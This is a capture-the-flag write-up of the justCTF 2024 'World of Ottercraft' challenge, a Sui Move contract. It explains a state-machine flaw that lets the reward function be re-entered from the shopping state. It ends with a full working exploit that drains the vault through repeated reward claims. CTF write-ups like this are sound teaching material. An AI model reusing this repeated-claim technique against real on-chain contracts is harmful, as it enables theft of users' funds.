Skip to content

Latest commit

 

History

History
166 lines (126 loc) · 7.19 KB

world_of_ottercraft.md

File metadata and controls

166 lines (126 loc) · 7.19 KB

World of Ottercraft

This challenge was the Hard one of three blockchain challenges at justCTF 2024 teaser. All challenges were related to the Sui blockchain with the challenges being written in Move.

Challenge Description

Welcome to the World of Ottercraft, where otters rule the blockchain! In this challenge, you'll dive deep into the blockchain to grab the mythical Otter Stone! Beware of the powerful monsters that will try to block your path! Can you outsmart them and fish out the Otter Stone, or will you just end up swimming in circles?

Challenge created by embe221ed & Darkstar49 from OtterSec

nc woo.nc.jctf.pro 31337

We were provided with a download link for a tar archive containing the challenge source and a full setup for the server and client.

Challenge

The goal of this challenge was, as with the Medium one, to buy the flag. Compared to the Medium one, there were the following changes :

  • buying items is more sophisticated with a ticket system and multiple items to buy
  • more sophisticated state machine where every function is restricted to be entered only by specific states

The were the following states:

  • PREPARE_FOR_TROUBLE
  • ON_ADVENTURE
  • RESTING
  • SHOPPING
  • FINISHED

Here a visualization of which states can enter which function and how the state gets set in the end:

  • RESTING -> enter_tavern -> SHOPPING
  • SHOPPING -> buy_*
  • [ANY STATE] -> checkout -> RESTING
  • (PREPARE_FOR_TROUBLE, RESTING) -> find_a_monster -> PREPARE_FOR_TROUBLE
  • PREPARE_FOR_TROUBLE -> bring_it_on -> ON_ADVENTURE
  • ON_ADVENTURE -> return_home -> FINISHED
  • (FINISHED, SHOPPING) -> get_the_reward -> RESTING

Now looking at these state requirements and transitions, what looks especially suspicious, is that get_the_reward can be entered from the SHOPPING state.
Another notable change is, that the logic concerning what monster to get the reward from has been changed to the following:

public fun bring_it_on(board: &mut QuestBoard, player: &mut Player, quest_id: u64) {
    assert!(player.status != SHOPPING && player.status != FINISHED && player.status != RESTING && player.status != ON_ADVENTURE, WRONG_PLAYER_STATE);

    let monster = vector::borrow_mut(&mut board.quests, quest_id);
    assert!(player.power > monster.power, BETTER_GET_EQUIPPED);

    player.status = ON_ADVENTURE;

    player.power = 10; //equipment breaks after fighting the monster, and friends go to party :c
    monster.power = 0; //you win! wow!
    player.quest_index = quest_id; // <-----
}

public fun return_home(board: &mut QuestBoard, player: &mut Player) {
    assert!(player.status != SHOPPING && player.status != FINISHED && player.status != RESTING && player.status != PREPARE_FOR_TROUBLE, WRONG_PLAYER_STATE);

    let quest_to_finish = vector::borrow(&board.quests, player.quest_index); // <-----
    assert!(quest_to_finish.power == 0, WRONG_AMOUNT);

    player.status = FINISHED;
}

public fun get_the_reward(vault: &mut Vault<OTTER>, board: &mut QuestBoard, player: &mut Player, ctx: &mut TxContext) {
    assert!(player.status != RESTING && player.status != PREPARE_FOR_TROUBLE && player.status != ON_ADVENTURE, WRONG_PLAYER_STATE);

    let monster = vector::remove(&mut board.quests, player.quest_index); // <-----

    let Monster {
        reward: reward,
        power: _
    } = monster;

    let coins = coin::split(&mut vault.cash, reward, ctx); 
    let balance = coin::into_balance(coins);

    balance::join(&mut player.wallet, balance);

    player.status = RESTING;
}

The monster to be rewarded for, is now determined when fighting it, and seemingly correctly used later when getting the reward. Also, when returning home, it is checked that the monster is actually defeated. So if we were to follow the state machine as intended, everything would be fine. If we manage to enter get_the_reward multiple times however, we could do an attack similar to the one in the previous challenge. We could fight the monster at index 0. This would cause get_the_reward to take the 0th monster every consecutive time. If we now do not have to enter return_home before that, the monster is never checked to be beaten.

Approach

Now putting the findings above together, we know the following:

  • we can enter get_the_reward also from the SHOPPING state
  • checkout can be entered from every state
  • get_the_reward sets the state to RESTING
  • enter_tavern sets the state to SHOPPING

The approach now looks like this:

  1. find multiple monsters
  2. fight the 0th monster normally and collect its reward
  3. enter_tavern (sets state to SHOPPING)
  4. buy the cheapest item (buy_shield)
  5. "re-enter" get_the_reward which then sets the state to RESTING
  6. checkout
  7. repeat steps 3 to 6 until we have enough money to buy the flag
  8. profit

Now one might think we could just enter_tavern, get_the_reward, without buying anything but this does not work due to checks done by Move. More specifically, when we enter_tavern, we get a ticket. This ticket needs to be returned to checkout in order for our contract to even compile. Due to this, we need to return the ticket to checkout which has a check, that the total is greater than zero, meaning we need to buy something. Fortunately, there is an item shield, which costs less than what we receive from fighting a monster (only 20 coins, we get at least 62 coins as a reward).

Now before fighting the monster we need to buy some item that has enough power to beat the first monster (shield obviously does not have enough). The clear choice here is, of course, the power_of_friendship:

public fun buy_power_of_friendship(player: &mut Player, ticket: &mut TawernTicket) {
    assert!(player.status == SHOPPING, WRONG_PLAYER_STATE);

    player.power = player.power + 9000; //it's over 9000!
    ticket.total = ticket.total + 190;
}

Exploit

Putting everything together, we built the following exploit:

module solve::solve {

    // [*] Import dependencies
    use challenge::Otter::{Self, OTTER};

    public fun solve(
        _board: &mut Otter::QuestBoard,
        _vault: &mut Otter::Vault<OTTER>,
        _player: &mut Otter::Player,
        _ctx: &mut TxContext
    ) {
        // Your code here...
        let mut ticket = Otter::enter_tavern(_player);

        Otter::buy_power_of_friendship(_player, &mut ticket);

        Otter::checkout(ticket, _player, _ctx, _vault, _board);

        let mut i = 0;
        while (i < 20) {
            Otter::find_a_monster(_board, _player);
            i = i + 1;
        };

        Otter::bring_it_on(_board, _player, 0);
        Otter::return_home(_board, _player);
        Otter::get_the_reward(_vault, _board, _player, _ctx);

        let mut i = 0;
        while (i < 10) {
            let mut tick = Otter::enter_tavern(_player);
            Otter::buy_shield(_player, &mut tick);
            Otter::get_the_reward(_vault, _board, _player, _ctx);
            Otter::checkout(tick, _player, _ctx, _vault, _board);
            i = i+1;
        };

        let mut ticket0 = Otter::enter_tavern(_player);

        Otter::buy_flag(&mut ticket0, _player);
        Otter::checkout(ticket0, _player, _ctx, _vault, _board);
    }
}

Throwing this at the remote server then yields the flag.